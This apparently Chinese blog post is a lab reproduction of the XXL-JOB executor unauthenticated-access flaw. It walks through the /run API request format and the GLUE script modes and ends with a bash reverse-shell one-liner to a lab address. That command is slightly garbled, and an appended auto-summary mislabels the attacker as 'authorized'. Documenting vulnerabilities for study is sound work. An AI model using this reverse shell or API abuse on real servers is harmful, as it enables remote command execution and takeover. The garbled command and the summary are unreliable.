漏洞复现----21、XXL-JOB executor 未授权访问漏洞


一、漏洞简介

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。


二、漏洞环境

docker-compose up -d 
访问:
http://ip:8080即可查看到管理端(admin)
http://ip:9999可以查看到客户端(executor)
影响版本:XXL-JOB <= 2.2.0

三、漏洞分析

1、XXL-JOB的Restful API分为两种,一个 调度中心Restful API,一个 执行器Restful API。其中在执行器Restful API的任务触发声明中,发送请求的数据格式为:

地址格式:
    {执行器内嵌服务跟地址}/run 	//也就是说为executor端的地址,ip:9999/run
 
Header: 
    XXL-JOB-ACCESS-TOKEN : {请求令牌} 	
 
请求数据格式如下,放置在 RequestBody 中,JSON格式: 
{ 
    "jobId":1, // 任务ID 
    "executorHandler":"demoJobHandler", // 任务标识 
    "executorParams":"demoJobHandler", // 任务参数 
    "executorBlockStrategy":"COVER_EARLY", // 任务阻塞策略,可选值参考   com.xxl.job.core.enums.ExecutorBlockStrategyEnum 
    "executorTimeout":0, // 任务超时时间,单位秒,大于零时生效 
    "logId":1, // 本次调度日志ID 
    "logDateTime":1586629003729, // 本次调度日志时间 
    "glueType":"BEAN", // 任务模式,可选值参考 com.xxl.job.core.glue.GlueTypeEnum 		"glueSource":"xxx", // GLUE脚本代码 
    "glueUpdatetime":1586629003727, // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新 
    "broadcastIndex":0, // 分片参数:当前分片 
    "broadcastTotal":0 // 分片参数:总分片 
} 
 
响应数据格式: 
    { "code": 200, // 200 表示正常、其他失败 "msg": null // 错误提示消息 }

2、其中"glueType":"BEAN" 任务模式的选值如下

BEAN("BEAN", false, null, null),
GLUE_GROOVY("GLUE(Java)", false, null, null),
GLUE_SHELL("GLUE(Shell)", true, "bash", ".sh"), 
GLUE_PYTHON("GLUE(Python)", true, "python", ".py"), 
GLUE_PHP("GLUE(PHP)", true, "php", ".php"), 
GLUE_NODEJS("GLUE(Nodejs)", true, "node", ".js"), 
GLUE_POWERSHELL("GLUE(PowerShell)", true, "powershell", ".ps1");

我们可以从中任意选择一种脚本语言,然后在"glueSource":"xxx"中插入相对应的脚本代码即可执行相对应的命令。


四、漏洞复现

访问客户端(executor),发送如下请求

利用/bin/bash -i ?& /dev/tcp/192.168.209,128/44444 0>&1即可反弹一个shell。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
xxl-job访问令牌错误是指在xxl-job分布式任务调度平台中,访问令牌被错误地使用或提供,导致无法正常访问或执行任务的情况。根据引用和引用的描述,xxl-job默认情况下没有配置认证措施,即没有对访问令牌进行验证。这意味着授权的攻击者可以构造恶意请求,通过Restful API接口或RPC接口执行任意命令,进而控制服务器。因此,在xxl-job的安全配置中,正确设置和使用访问令牌是非常重要的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [xxl-job2.3.0集成nacos配置,注册中心](https://download.csdn.net/download/weixin_44618291/85347103)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [漏洞复现----21XXL-JOB executor 授权访问漏洞](https://blog.csdn.net/sycamorelg/article/details/118609173)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [XXL-JOB executor授权访问漏洞](https://blog.csdn.net/qq_41832837/article/details/110632861)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值